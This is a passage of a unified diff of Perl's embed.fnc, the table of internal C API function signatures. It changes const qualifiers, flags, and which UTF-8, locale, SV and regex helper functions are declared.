*s|const STRLEN len|NN const U8 **ep Andm |bool |is_c9strict_utf8_string_loc \ - |NN const U8 *s|STRLEN len|NN const U8 **ep + |NN const U8 *s|const STRLEN len|NN const U8 **ep Anipd |bool |is_utf8_string_loclen \ - |NN const U8 *s|STRLEN len|NULLOK const U8 **ep \ + |NN const U8 *s|const STRLEN len|NULLOK const U8 **ep \ |NULLOK STRLEN *el Anid |bool |is_utf8_string_loclen_flags \ - |NN const U8 *s|STRLEN len|NULLOK const U8 **ep \ + |NN const U8 *s|const STRLEN len|NULLOK const U8 **ep \ |NULLOK STRLEN *el|const U32 flags Anid |bool |is_strict_utf8_string_loclen \ - |NN const U8 *s|STRLEN len|NULLOK const U8 **ep \ + |NN const U8 *s|const STRLEN len|NULLOK const U8 **ep \ |NULLOK STRLEN *el Anid |bool |is_c9strict_utf8_string_loclen \ - |NN const U8 *s|STRLEN len|NULLOK const U8 **ep \ + |NN const U8 *s|const STRLEN len|NULLOK const U8 **ep \ |NULLOK STRLEN *el Amnd |bool |is_utf8_fixed_width_buf_flags \ - |NN const U8 * const s|STRLEN len|const U32 flags + |NN const U8 * const s|const STRLEN len|const U32 flags Amnd |bool |is_utf8_fixed_width_buf_loc_flags \ - |NN const U8 * const s|STRLEN len \ + |NN const U8 * const s|const STRLEN len \ |NULLOK const U8 **ep|const U32 flags Anid |bool |is_utf8_fixed_width_buf_loclen_flags \ - |NN const U8 * const s|STRLEN len \ + |NN const U8 * const s|const STRLEN len \ |NULLOK const U8 **ep|NULLOK STRLEN *el|const U32 flags AmndP |bool |is_utf8_valid_partial_char \ |NN const U8 * const s|NN const U8 * const e @@ -873,10 +816,10 @@ AMpR |bool |_is_utf8_FOO|U8 classnum|NN const U8 * const p \ |NN const char * const file|const unsigned line AMpR |bool |_is_utf8_FOO_with_len|const U8 classnum|NN const U8 *p \ |NN const U8 * const e -AbDMpR |bool |is_utf8_alnum |NN const U8 *p -AbDMpR |bool |is_utf8_alnumc |NN const U8 *p -AbDMpR |bool |is_utf8_idfirst|NN const U8 *p -AbDMpR |bool |is_utf8_xidfirst|NN const U8 *p +ADMpR |bool |is_utf8_alnum |NN const U8 *p +ADMpR |bool |is_utf8_alnumc |NN const U8 *p +ADMpR |bool |is_utf8_idfirst|NN const U8 *p +ADMpR |bool |is_utf8_xidfirst|NN const U8 *p AMpR |bool |_is_utf8_idcont|NN const U8 *p AMpR |bool |_is_utf8_idstart|NN const U8 *p AMpR |bool |_is_utf8_xidcont|NN const U8 *p @@ -885,29 +828,25 @@ AMpR |bool |_is_utf8_perl_idcont_with_len|NN const U8 *p \ |NN const U8 * const e AMpR |bool |_is_utf8_perl_idstart_with_len|NN const U8 *p \ |NN const U8 * const e -AbDMpR |bool |is_utf8_idcont |NN const U8 *p -AbDMpR |bool |is_utf8_xidcont |NN const U8 *p -AbDMpR |bool |is_utf8_alpha |NN const U8 *p -AbDMpR |bool |is_utf8_ascii |NN const U8 *p -AbDMpR |bool |is_utf8_blank |NN const U8 *p -AbDMpR |bool |is_utf8_space |NN const U8 *p -AbDMpR |bool |is_utf8_perl_space |NN const U8 *p -AbDMpR |bool |is_utf8_perl_word |NN const U8 *p -AbDMpR |bool |is_utf8_cntrl |NN const U8 *p -AbDMpR |bool |is_utf8_digit |NN const U8 *p -AbDMpR |bool |is_utf8_posix_digit |NN const U8 *p -AbDMpR |bool |is_utf8_graph |NN const U8 *p -AbDMpR |bool |is_utf8_upper |NN const U8 *p -AbDMpR |bool |is_utf8_lower |NN const U8 *p -AbDMpR |bool |is_utf8_print |NN const U8 *p -AbDMpR |bool |is_utf8_punct |NN const U8 *p -AbDMpR |bool |is_utf8_xdigit |NN const U8 *p +ADMpR |bool |is_utf8_idcont |NN const U8 *p +ADMpR |bool |is_utf8_xidcont |NN const U8 *p +ADMpR |bool |is_utf8_alpha |NN const U8 *p +ADMpR |bool |is_utf8_ascii |NN const U8 *p +ADMpR |bool |is_utf8_blank |NN const U8 *p +ADMpR |bool |is_utf8_space |NN const U8 *p +ADMpR |bool |is_utf8_perl_space |NN const U8 *p +ADMpR |bool |is_utf8_perl_word |NN const U8 *p +ADMpR |bool |is_utf8_cntrl |NN const U8 *p +ADMpR |bool |is_utf8_digit |NN const U8 *p +ADMpR |bool |is_utf8_posix_digit |NN const U8 *p +ADMpR |bool |is_utf8_graph |NN const U8 *p +ADMpR |bool |is_utf8_upper |NN const U8 *p +ADMpR |bool |is_utf8_lower |NN const U8 *p +ADMpR |bool |is_utf8_print |NN const U8 *p +ADMpR |bool |is_utf8_punct |NN const U8 *p +ADMpR |bool |is_utf8_xdigit |NN const U8 *p AMpR |bool |_is_utf8_mark |NN const U8 *p -AbDMpR |bool |is_utf8_mark |NN const U8 *p -#if defined(PERL_CORE) || defined(PERL_EXT) -EXdpR |bool |isSCRIPT_RUN |NN const U8 *s|NN const U8 *send \ - |const bool utf8_target -#endif +ADMpR |bool |is_utf8_mark |NN const U8 *p : Used in perly.y p |OP* |jmaybe |NN OP *o : Used in pp.c @@ -963,18 +902,14 @@ p |OP* |localize |NN OP *o|I32 lex ApdR |I32 |looks_like_number|NN SV *const sv Apd |UV |grok_bin |NN const char* start|NN STRLEN* len_p|NN I32* flags|NULLOK NV *result #if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_TOKE_C) || defined(PERL_IN_DQUOTE_C) -EMpRX |bool |grok_bslash_x |NN char** s \ - |NN const char* const send \ - |NN UV* uv \ +EMpRX |bool |grok_bslash_x |NN char** s|NN UV* uv \ |NN const char** error_msg \ |const bool output_warning \ |const bool strict \ |const bool silence_non_portable \ |const bool utf8 EMpRX |char |grok_bslash_c |const char source|const bool output_warning -EMpRX |bool |grok_bslash_o |NN char** s \ - |NN const char* const send \ - |NN UV* uv \ +EMpRX |bool |grok_bslash_o |NN char** s|NN UV* uv \ |NN const char** error_msg \ |const bool output_warning \ |const bool strict \ @@ -1033,7 +968,6 @@ p |int |magic_freearylen_p|NN SV* sv|NN MAGIC* mg p |int |magic_setdbline|NN SV* sv|NN MAGIC* mg p |int |magic_setdebugvar|NN SV* sv|NN MAGIC* mg p |int |magic_setdefelem|NN SV* sv|NN MAGIC* mg -p |int |magic_setnonelem|NN SV* sv|NN MAGIC* mg p |int |magic_setenv |NN SV* sv|NN MAGIC* mg dp |int |magic_sethint |NN SV* sv|NN MAGIC* mg p |int |magic_setisa |NN SV* sv|NN MAGIC* mg @@ -1080,14 +1014,12 @@ Apd |int |mg_copy |NN SV *sv|NN SV *nsv|NULLOK const char *key \ |I32 klen : Defined in mg.c, used only in scope.c pd |void |mg_localize |NN SV* sv|NN SV* nsv|bool setmagic -Apd |SV* |sv_string_from_errnum|int errnum|NULLOK SV* tgtsv ApdRn |MAGIC* |mg_find |NULLOK const SV* sv|int type ApdRn |MAGIC* |mg_findext |NULLOK const SV* sv|int type|NULLOK const MGVTBL *vtbl : exported for re.pm EXpR |MAGIC* |mg_find_mglob |NN SV* sv Apd |int |mg_free |NN SV* sv Apd |void |mg_free_type |NN SV* sv|int how -Apd |void |mg_freeext |NN SV* sv|int how|NULLOK const MGVTBL *vtbl Apd |int |mg_get |NN SV* sv ApdD |U32 |mg_length |NN SV* sv Apdn |void |mg_magical |NN SV* sv @@ -1097,17 +1029,20 @@ Apn |void |mini_mktime |NN struct tm *ptm AMmd |OP* |op_lvalue |NULLOK OP* o|I32 type poX |OP* |op_lvalue_flags|NULLOK OP* o|I32 type|U32 flags p |void |finalize_optree |NN OP* o -p |void |optimize_optree|NN OP* o #if defined(PERL_IN_OP_C) -s |void |optimize_op |NN OP* o s |void |finalize_op |NN OP* o -s |void |move_proto_attr|NN OP **proto|NN OP **attrs \ - |NN const GV *name|bool curstash +s |void |move_proto_attr|NN OP **proto|NN OP **attrs|NN const GV *name #endif : Used in op.c and pp_sys.c p |int |mode_from_discipline|NULLOK const char* s|STRLEN len Ap |const char* |moreswitches |NN const char* s Ap |NV |my_atof |NN const char *s +#if !defined(HAS_MEMCPY) || (!defined(HAS_MEMMOVE) && !defined(HAS_SAFE_MEMCPY)) +Anp |void* |my_bcopy |NN const void* vfrom|NN void* vto|size_t len +#endif +#if !defined(HAS_BZERO) && !defined(HAS_MEMSET) +Anp |void* |my_bzero |NN void* vloc|size_t len +#endif Apr |void |my_exit |U32 status Apr |void |my_failure_exit Ap |I32 |my_fflush_all @@ -1116,8 +1051,11 @@ Anp |void |atfork_lock Anp |void |atfork_unlock Apmb |I32 |my_lstat pX |I32 |my_lstat_flags |NULLOK const U32 flags -#if ! defined(HAS_MEMRCHR) && (defined(PERL_CORE) || defined(PERL_EXT)) -Exin |void * |my_memrchr |NN const char * s|const char c|const STRLEN len +#if !defined(HAS_MEMCMP) || !defined(HAS_SANE_MEMCMP) +AnpP |int |my_memcmp |NN const void* vs1|NN const void* vs2|size_t len +#endif +#if !defined(HAS_MEMSET) +Anp |void* |my_memset |NN void* vloc|int ch|size_t len #endif #if !defined(PERL_IMPLICIT_SYS) Ap |I32 |my_pclose |NULLOK PerlIO* ptr @@ -1156,7 +1094,7 @@ ApdR |OP* |newSLICEOP |I32 flags|NULLOK OP* subscript|NULLOK OP* listop ApdR |OP* |newSTATEOP |I32 flags|NULLOK char* label|NULLOK OP* o Apbm |CV* |newSUB |I32 floor|NULLOK OP* o|NULLOK OP* proto \ |NULLOK OP* block -pd |CV * |newXS_len_flags|NULLOK const char *name|STRLEN len \ +p |CV * |newXS_len_flags|NULLOK const char *name|STRLEN len \ |NN XSUBADDR_t subaddr\ |NULLOK const char *const filename \ |NULLOK const char *const proto \ @@ -1199,7 +1137,7 @@ ApdR |SV* |newSViv |const IV i ApdR |SV* |newSVuv |const UV u ApdR |SV* |newSVnv |const NV n ApdR |SV* |newSVpv |NULLOK const char *const s|const STRLEN len -ApdR |SV* |newSVpvn |NULLOK const char *const buffer|const STRLEN len +ApdR |SV* |newSVpvn |NULLOK const char *const s|const STRLEN len ApdR |SV* |newSVpvn_flags |NULLOK const char *const s|const STRLEN len|const U32 flags ApdR |SV* |newSVhek |NULLOK const HEK *const hek ApdR |SV* |newSVpvn_share |NULLOK const char* s|I32 len|U32 hash @@ -1225,13 +1163,11 @@ Apd |OP* |ck_entersub_args_proto_or_list|NN OP *entersubop|NN GV *namegv|NN SV * po |OP* |ck_entersub_args_core|NN OP *entersubop|NN GV *namegv \ |NN SV *protosv Apd |void |cv_get_call_checker|NN CV *cv|NN Perl_call_checker *ckfun_p|NN SV **ckobj_p -Apd |void |cv_get_call_checker_flags|NN CV *cv|U32 gflags|NN Perl_call_checker *ckfun_p|NN SV **ckobj_p|NN U32 *ckflags_p Apd |void |cv_set_call_checker|NN CV *cv|NN Perl_call_checker ckfun|NN SV *ckobj Apd |void |cv_set_call_checker_flags|NN CV *cv \ |NN Perl_call_checker ckfun \ - |NN SV *ckobj|U32 ckflags + |NN SV *ckobj|U32 flags Apd |void |wrap_op_checker|Optype opcode|NN Perl_check_t new_checker|NN Perl_check_t *old_checker_p -AMpd |void |wrap_keyword_plugin|NN Perl_keyword_plugin_t new_plugin|NN Perl_keyword_plugin_t *old_plugin_p ApR |PERL_SI*|new_stackinfo|I32 stitems|I32 cxitems Ap |char* |scan_vstring |NN const char *s|NN const char *const e \ |NN SV *sv @@ -1294,7 +1230,7 @@ Ap |void |call_atexit |ATEXIT_t fn|NULLOK void *ptr ApdO |I32 |call_argv |NN const char* sub_name|I32 flags|NN char** argv ApdO |I32 |call_method |NN const char* methname|I32 flags ApdO |I32 |call_pv |NN const char* sub_name|I32 flags -ApdO |I32 |call_sv |NN SV* sv|volatile I32 flags +ApdO |I32 |call_sv |NN SV* sv|VOL I32 flags Ap |void |despatch_signals Ap |OP * |doref |NN OP *o|I32 type|bool set_op_ref ApdO |SV* |eval_pv |NN const char* p|I32 croak_on_error @@ -1304,25 +1240,25 @@ ApdO |AV* |get_av |NN const char *name|I32 flags ApdO |HV* |get_hv |NN const char *name|I32 flags ApdO |CV* |get_cv |NN const char* name|I32 flags Apd |CV* |get_cvn_flags |NN const char* name|STRLEN len|I32 flags -Ando |const char*|Perl_setlocale|const int category|NULLOK const char* locale -#if defined(HAS_NL_LANGINFO) && defined(PERL_LANGINFO_H) -Ando |const char*|Perl_langinfo|const nl_item item +#ifdef WIN32 +ApM |char* |my_setlocale |int category|NULLOK const char* locale #else -Ando |const char*|Perl_langinfo|const int item +AmM |char* |my_setlocale |int category|NULLOK const char* locale #endif ApOM |int |init_i18nl10n |int printwarn -AbpOM |int |init_i18nl14n |int printwarn -p |char* |my_strerror |const int errnum -Xpn |void |_warn_problematic_locale -Xp |void |set_numeric_underlying -Xp |void |set_numeric_standard -Xp |bool |_is_in_locale_category|const bool compiling|const int category -Apdn |void |switch_to_global_locale -Apdn |bool |sync_locale -ApMn |void |thread_locale_init -ApMn |void |thread_locale_term +ApOM |int |init_i18nl14n |int printwarn +ApM |char* |my_strerror |const int errnum +ApOM |void |new_collate |NULLOK const char* newcoll +ApOM |void |new_ctype |NN const char* newctype +EXpMn |void |_warn_problematic_locale +ApOM |void |new_numeric |NULLOK const char* newcoll +Ap |void |set_numeric_local +Ap |void |set_numeric_radix +Ap |void |set_numeric_standard +ApM |bool |_is_in_locale_category|const bool compiling|const int category +Apd |void |sync_locale ApdO |void |require_pv |NN const char* pv -Abpd |void |pack_cat |NN SV *cat|NN const char *pat|NN const char *patend \ +Apd |void |pack_cat |NN SV *cat|NN const char *pat|NN const char *patend \ |NN SV **beglist|NN SV **endlist|NN SV ***next_in_list|U32 flags Apd |void |packlist |NN SV *cat|NN const char *pat|NN const char *patend|NN SV **beglist|NN SV **endlist #if defined(PERL_USES_PL_PIDSTATUS) && defined(PERL_IN_UTIL_C) @@ -1354,7 +1290,7 @@ Ap |I32 |pregexec |NN REGEXP * const prog|NN char* stringarg \ Ap |void |pregfree |NULLOK REGEXP* r Ap |void |pregfree2 |NN REGEXP *rx : FIXME - is anything in re using this now? -EXp |REGEXP*|reg_temp_copy |NULLOK REGEXP* dsv|NN REGEXP* ssv +EXp |REGEXP*|reg_temp_copy |NULLOK REGEXP* ret_x|NN REGEXP* rx Ap |void |regfree_internal|NN REGEXP *const rx #if defined(USE_ITHREADS) Ap |void* |regdupe_internal|NN REGEXP * const r|NN CLONE_PARAMS* param @@ -1464,10 +1400,10 @@ Ap |void |save_I8 |NN I8* bytep Ap |void |save_int |NN int* intp Ap |void |save_item |NN SV* item Ap |void |save_iv |NN IV *ivp -Abp |void |save_list |NN SV** sarg|I32 maxsarg -Abp |void |save_long |NN long* longp +Ap |void |save_list |NN SV** sarg|I32 maxsarg +Ap |void |save_long |NN long* longp Apmb |void |save_mortalizesv|NN SV* sv -Abp |void |save_nogv |NN GV* gv +Ap |void |save_nogv |NN GV* gv : Used in SAVEFREOP(), used in gv.c, op.c, perl.c, pp_ctl.c, pp_sort.c Apmb |void |save_op Ap |SV* |save_scalar |NN GV* gv @@ -1507,7 +1443,7 @@ AMpd |OP* |op_scope |NULLOK OP* o : Only used by perl.c/miniperl.c, but defined in caretx.c px |void |set_caret_X Apd |void |setdefout |NN GV* gv -Ap |HEK* |share_hek |NN const char* str|SSize_t len|U32 hash +Ap |HEK* |share_hek |NN const char* str|I32 len|U32 hash #if defined(HAS_SIGACTION) && defined(SA_SIGINFO) : Used in perl.c np |Signal_t |sighandler |int sig|NULLOK siginfo_t *info|NULLOK void *uap @@ -1518,10 +1454,9 @@ Anp |Signal_t |csighandler |int sig #endif Ap |SV** |stack_grow |NN SV** sp|NN SV** p|SSize_t n Ap |I32 |start_subparse |I32 is_format|U32 flags -Xp |void |init_named_cv |NN CV *cv|NN OP *nameop : Used in pp_ctl.c p |void |sub_crush_depth|NN CV* cv -Apbmd |bool |sv_2bool |NN SV *const sv +Amd |bool |sv_2bool |NN SV *const sv Apd |bool |sv_2bool_flags |NN SV *sv|I32 flags Apd |CV* |sv_2cv |NULLOK SV* sv|NN HV **const st|NN GV **const gvp \ |const I32 lref @@ -1539,15 +1474,15 @@ Apmb |char* |sv_2pv |NN SV *sv|NULLOK STRLEN *lp Apd |char* |sv_2pv_flags |NN SV *const sv|NULLOK STRLEN *const lp|const I32 flags Apd |char* |sv_2pvutf8 |NN SV *sv|NULLOK STRLEN *const lp Apd |char* |sv_2pvbyte |NN SV *sv|NULLOK STRLEN *const lp -Abp |char* |sv_pvn_nomg |NN SV* sv|NULLOK STRLEN* lp +Ap |char* |sv_pvn_nomg |NN SV* sv|NULLOK STRLEN* lp Apmb |UV |sv_2uv |NN SV *sv Apd |UV |sv_2uv_flags |NN SV *const sv|const I32 flags -Abpd |IV |sv_iv |NN SV* sv -Abpd |UV |sv_uv |NN SV* sv -Abpd |NV |sv_nv |NN SV* sv -Abpd |char* |sv_pvn |NN SV *sv|NN STRLEN *lp -Abpd |char* |sv_pvutf8n |NN SV *sv|NN STRLEN *lp -Abpd |char* |sv_pvbyten |NN SV *sv|NN STRLEN *lp +Apd |IV |sv_iv |NN SV* sv +Apd |UV |sv_uv |NN SV* sv +Apd |NV |sv_nv |NN SV* sv +Apd |char* |sv_pvn |NN SV *sv|NN STRLEN *lp +Apd |char* |sv_pvutf8n |NN SV *sv|NN STRLEN *lp +Apd |char* |sv_pvbyten |NN SV *sv|NN STRLEN *lp Apd |I32 |sv_true |NULLOK SV *const sv #if defined(PERL_IN_SV_C) sd |void |sv_add_arena |NN char *const ptr|const U32 size \ @@ -1583,7 +1518,7 @@ Aopd |I32 |sv_cmp_locale |NULLOK SV *const sv1|NULLOK SV *const sv2 Apd |I32 |sv_cmp_locale_flags |NULLOK SV *const sv1 \ |NULLOK SV *const sv2|const U32 flags #if defined(USE_LOCALE_COLLATE) -Apbmd |char* |sv_collxfrm |NN SV *const sv|NN STRLEN *const nxp +Amd |char* |sv_collxfrm |NN SV *const sv|NN STRLEN *const nxp Apd |char* |sv_collxfrm_flags |NN SV *const sv|NN STRLEN *const nxp|I32 const flags #endif Apd |int |getcwd_sv |NN SV* sv @@ -1600,7 +1535,7 @@ ApdR |bool |sv_does_sv |NN SV* sv|NN SV* namesv|U32 flags ApdR |bool |sv_does_pv |NN SV* sv|NN const char *const name|U32 flags ApdR |bool |sv_does_pvn |NN SV* sv|NN const char *const name|const STRLEN len \ |U32 flags -Apbmd |I32 |sv_eq |NULLOK SV* sv1|NULLOK SV* sv2 +Amd |I32 |sv_eq |NULLOK SV* sv1|NULLOK SV* sv2 Apd |I32 |sv_eq_flags |NULLOK SV* sv1|NULLOK SV* sv2|const U32 flags Apd |void |sv_free |NULLOK SV *const sv poMX |void |sv_free2 |NN SV *const sv|const U32 refcnt @@ -1682,14 +1617,14 @@ Apdmb |void |sv_usepvn |NN SV* sv|NULLOK char* ptr|STRLEN len Apd |void |sv_usepvn_flags|NN SV *const sv|NULLOK char* ptr|const STRLEN len\ |const U32 flags Apd |void |sv_vcatpvfn |NN SV *const sv|NN const char *const pat|const STRLEN patlen \ - |NULLOK va_list *const args|NULLOK SV **const svargs|const Size_t sv_count \ + |NULLOK va_list *const args|NULLOK SV **const svargs|const I32 svmax \ |NULLOK bool *const maybe_tainted Apd |void |sv_vcatpvfn_flags|NN SV *const sv|NN const char *const pat|const STRLEN patlen \ - |NULLOK va_list *const args|NULLOK SV **const svargs|const Size_t sv_count \ + |NULLOK va_list *const args|NULLOK SV **const svargs|const I32 svmax \ |NULLOK bool *const maybe_tainted|const U32 flags Apd |void |sv_vsetpvfn |NN SV *const sv|NN const char *const pat|const STRLEN patlen \ |NULLOK va_list *const args|NULLOK SV **const svargs \ - |const Size_t sv_count|NULLOK bool *const maybe_tainted + |const I32 svmax|NULLOK bool *const maybe_tainted ApR |NV |str_to_version |NN SV *sv EXpRM |SV* |swash_init |NN const char* pkg|NN const char* name|NN SV* listsv|I32 minbits|I32 none EXpM |UV |swash_fetch |NN SV *swash|NN const U8 *ptr|bool do_utf8 @@ -1719,7 +1654,6 @@ EMRs |SV* |_make_exactf_invlist |NN RExC_state_t *pRExC_state \ |NN regnode *node EsMR |SV* |invlist_contents|NN SV* const invlist \ |const bool traditional_style -EsRn |bool |new_regcurly |NN const char *s|NN const char *e #endif #if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_UTF8_C) EXmM |void |_invlist_intersection |NN SV* const a|NN SV* const b|NN SV** i @@ -1743,13 +1677,14 @@ EXp |SV* |_core_swash_init|NN const char* pkg|NN const char* name \ |NN SV* listsv|I32 minbits|I32 none \ |NULLOK SV* invlist|NULLOK U8* const flags_p #endif -#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) || defined(PERL_IN_TOKE_C) || defined(PERL_IN_UTF8_C) +#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) || defined(PERL_IN_UTF8_C) EiMRn |UV* |invlist_array |NN SV* const invlist EiMRn |bool* |get_invlist_offset_addr|NN SV* invlist EiMRn |UV |_invlist_len |NN SV* const invlist EMiRn |bool |_invlist_contains_cp|NN SV* const invlist|const UV cp EXpMRn |SSize_t|_invlist_search |NN SV* const invlist|const UV cp EXMpR |SV* |_get_swash_invlist|NN SV* const swash +EXMpR |HV* |_swash_inversion_hash |NN SV* const swash #endif #if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) EXpM |SV* |_get_regclass_nonbitmap_data \ @@ -1759,6 +1694,7 @@ EXpM |SV* |_get_regclass_nonbitmap_data \ |NULLOK SV **listsvp \ |NULLOK SV **lonly_utf8_locale \ |NULLOK SV **output_invlist +EXp |void|_load_PL_utf8_foldclosures| #endif #if defined(PERL_IN_REGCOMP_C) || defined (PERL_IN_DUMP_C) EXMp |void |_invlist_dump |NN PerlIO *file|I32 level \ @@ -1767,17 +1703,20 @@ EXMp |void |_invlist_dump |NN PerlIO *file|I32 level \ #endif Ap |void |taint_env Ap |void |taint_proper |NULLOK const char* f|NN const char *const s -EpM |char * |_byte_dump_string \ - |NN const U8 * const start \ +ApdD |UV |to_utf8_case |NN const U8 *p \ + |NN U8* ustrp \ + |NULLOK STRLEN *lenp \ + |NN SV **swashp \ + |NN const char *normal| \ + NULLOK const char *special +pM |char * |_byte_dump_string \ + |NN const U8 * s \ |const STRLEN len \ |const bool format #if defined(PERL_IN_UTF8_C) -inR |int |does_utf8_overflow|NN const U8 * const s \ - |NN const U8 * e \ - |const bool consider_overlongs -inR |int |is_utf8_overlong_given_start_byte_ok|NN const U8 * const s \ - |const STRLEN len -inR |int |isFF_OVERLONG |NN const U8 * const s|const STRLEN len +inR |bool |does_utf8_overflow|NN const U8 * const s|NN const U8 * e +inR |bool |is_utf8_overlong_given_start_byte_ok|NN const U8 * const s|const STRLEN len +inR |bool |isFF_OVERLONG |NN const U8 * const s|const STRLEN len sMR |char * |unexpected_non_continuation_text \ |NN const U8 * const s \ |STRLEN print_len \ @@ -1800,11 +1739,9 @@ s |UV |_to_utf8_case |const UV uv1 \ |NN const U8 *p \ |NN U8* ustrp \ |NULLOK STRLEN *lenp \ - |NN SV *invlist \ - |NN const int * const invmap \ - |NULLOK const unsigned int * const * const aux_tables \ - |NULLOK const U8 * const aux_table_lengths \ - |NN const char * const normal + |NN SV **swashp \ + |NN const char *normal \ + |NULLOK const char *special #endif ApbmdD |UV |to_utf8_lower |NN const U8 *p|NN U8* ustrp|NULLOK STRLEN *lenp AMp |UV |_to_utf8_lower_flags|NN const U8 *p|NULLOK const U8* e \ @@ -1831,10 +1768,10 @@ pn |bool |translate_substr_offsets|STRLEN curlen|IV pos1_iv \ #if defined(UNLINK_ALL_VERSIONS) Ap |I32 |unlnk |NN const char* f #endif -Abpd |SSize_t|unpack_str |NN const char *pat|NN const char *patend|NN const char *s \ +Apd |I32 |unpack_str |NN const char *pat|NN const char *patend|NN const char *s \ |NULLOK const char *strbeg|NN const char *strend|NULLOK char **new_s \ |I32 ocnt|U32 flags -Apd |SSize_t|unpackstring |NN const char *pat|NN const char *patend|NN const char *s \ +Apd |I32 |unpackstring |NN const char *pat|NN const char *patend|NN const char *s \ |NN const char *strend|U32 flags Ap |void |unsharepvn |NULLOK const char* sv|I32 len|U32 hash : Used in gv.c, hv.c @@ -1844,26 +1781,22 @@ p |void |utilize |int aver|I32 floor|NULLOK OP* version|NN OP* idop|NULLOK OP* a ApM |void |_force_out_malformed_utf8_message \ |NN const U8 *const p|NN const U8 * const e|const U32 flags \ |const bool die_here -EXp |U8* |utf16_to_utf8 |NN U8* p|NN U8 *d|I32 bytelen|NN I32 *newlen -EXp |U8* |utf16_to_utf8_reversed|NN U8* p|NN U8 *d|I32 bytelen|NN I32 *newlen -AdpR |STRLEN |utf8_length |NN const U8* s|NN const U8 *e +Ap |U8* |utf16_to_utf8 |NN U8* p|NN U8 *d|I32 bytelen|NN I32 *newlen +Ap |U8* |utf16_to_utf8_reversed|NN U8* p|NN U8 *d|I32 bytelen|NN I32 *newlen +AdpPR |STRLEN |utf8_length |NN const U8* s|NN const U8 *e AipdR |IV |utf8_distance |NN const U8 *a|NN const U8 *b AipdRn |U8* |utf8_hop |NN const U8 *s|SSize_t off AipdRn |U8* |utf8_hop_back|NN const U8 *s|SSize_t off|NN const U8 *start AipdRn |U8* |utf8_hop_forward|NN const U8 *s|SSize_t off|NN const U8 *end AipdRn |U8* |utf8_hop_safe |NN const U8 *s|SSize_t off|NN const U8 *start|NN const U8 *end -ApMd |U8* |utf8_to_bytes |NN U8 *s|NN STRLEN *lenp +ApMd |U8* |utf8_to_bytes |NN U8 *s|NN STRLEN *len Apd |int |bytes_cmp_utf8 |NN const U8 *b|STRLEN blen|NN const U8 *u \ |STRLEN ulen -AModp |U8* |bytes_from_utf8|NN const U8 *s|NN STRLEN *lenp|NN bool *is_utf8p -AMnp |U8* |bytes_from_utf8_loc|NN const U8 *s \ - |NN STRLEN *lenp \ - |NN bool *is_utf8p \ - |NULLOK const U8 ** first_unconverted -ApMd |U8* |bytes_to_utf8 |NN const U8 *s|NN STRLEN *lenp +ApMd |U8* |bytes_from_utf8|NN const U8 *s|NN STRLEN *len|NULLOK bool *is_utf8 +ApMd |U8* |bytes_to_utf8 |NN const U8 *s|NN STRLEN *len ApdD |UV |utf8_to_uvchr |NN const U8 *s|NULLOK STRLEN *retlen -AbpdD |UV |utf8_to_uvuni |NN const U8 *s|NULLOK STRLEN *retlen -AbpMD |UV |valid_utf8_to_uvuni |NN const U8 *s|NULLOK STRLEN *retlen +ApdD |UV |utf8_to_uvuni |NN const U8 *s|NULLOK STRLEN *retlen +ApMD |UV |valid_utf8_to_uvuni |NN const U8 *s|NULLOK STRLEN *retlen Aopd |UV |utf8_to_uvchr_buf |NN const U8 *s|NN const U8 *send|NULLOK STRLEN *retlen ApdD |UV |utf8_to_uvuni_buf |NN const U8 *s|NN const U8 *send|NULLOK STRLEN *retlen pM |bool |check_utf8_print |NN const U8 *s|const STRLEN len @@ -1872,32 +1805,21 @@ Adop |UV |utf8n_to_uvchr |NN const U8 *s \ |STRLEN curlen \ |NULLOK STRLEN *retlen \ |const U32 flags -Adop |UV |utf8n_to_uvchr_error|NN const U8 *s \ +Adp |UV |utf8n_to_uvchr_error|NN const U8 *s \ |STRLEN curlen \ |NULLOK STRLEN *retlen \ |const U32 flags \ |NULLOK U32 * errors -AMdp |UV |utf8n_to_uvchr_msgs|NN const U8 *s \ - |STRLEN curlen \ - |NULLOK STRLEN *retlen \ - |const U32 flags \ - |NULLOK U32 * errors \ - |NULLOK AV ** msgs AipnR |UV |valid_utf8_to_uvchr |NN const U8 *s|NULLOK STRLEN *retlen Ap |UV |utf8n_to_uvuni|NN const U8 *s|STRLEN curlen|NULLOK STRLEN *retlen|U32 flags Adm |U8* |uvchr_to_utf8 |NN U8 *d|UV uv Ap |U8* |uvuni_to_utf8 |NN U8 *d|UV uv Adm |U8* |uvchr_to_utf8_flags |NN U8 *d|UV uv|UV flags -AdmM |U8* |uvchr_to_utf8_flags_msgs|NN U8 *d|UV uv|UV flags|NULLOK HV ** msgs -Apod |U8* |uvoffuni_to_utf8_flags |NN U8 *d|UV uv|const UV flags -ApM |U8* |uvoffuni_to_utf8_flags_msgs|NN U8 *d|UV uv|const UV flags|NULLOK HV** msgs +Apd |U8* |uvoffuni_to_utf8_flags |NN U8 *d|UV uv|const UV flags Ap |U8* |uvuni_to_utf8_flags |NN U8 *d|UV uv|UV flags Apd |char* |pv_uni_display |NN SV *dsv|NN const U8 *spv|STRLEN len|STRLEN pvlim|UV flags ApdR |char* |sv_uni_display |NN SV *dsv|NN SV *ssv|STRLEN pvlim|UV flags -EXpR |Size_t |_inverse_folds |const UV cp \ - |NN unsigned int * first_folds_to \ - |NN const unsigned int ** remaining_folds_to : Used by Data::Alias EXp |void |vivify_defelem |NN SV* sv : Used in pp.c @@ -2045,13 +1967,12 @@ Apdmb |void |sv_force_normal|NN SV *sv Apd |void |sv_force_normal_flags|NN SV *const sv|const U32 flags pX |SSize_t|tmps_grow_p |SSize_t ix Apd |SV* |sv_rvweaken |NN SV *const sv -Apd |SV* |sv_rvunweaken |NN SV *const sv AnpMd |SV* |sv_get_backrefs|NN SV *const sv : This is indirectly referenced by globals.c. This is somewhat annoying. p |int |magic_killbackrefs|NN SV *sv|NN MAGIC *mg Ap |OP* |newANONATTRSUB |I32 floor|NULLOK OP *proto|NULLOK OP *attrs|NULLOK OP *block Am |CV* |newATTRSUB |I32 floor|NULLOK OP *o|NULLOK OP *proto|NULLOK OP *attrs|NULLOK OP *block -pdX |CV* |newATTRSUB_x |I32 floor|NULLOK OP *o|NULLOK OP *proto \ +pX |CV* |newATTRSUB_x |I32 floor|NULLOK OP *o|NULLOK OP *proto \ |NULLOK OP *attrs|NULLOK OP *block \ |bool o_is_gv Ap |CV * |newMYSUB |I32 floor|NN OP *o|NULLOK OP *proto \ @@ 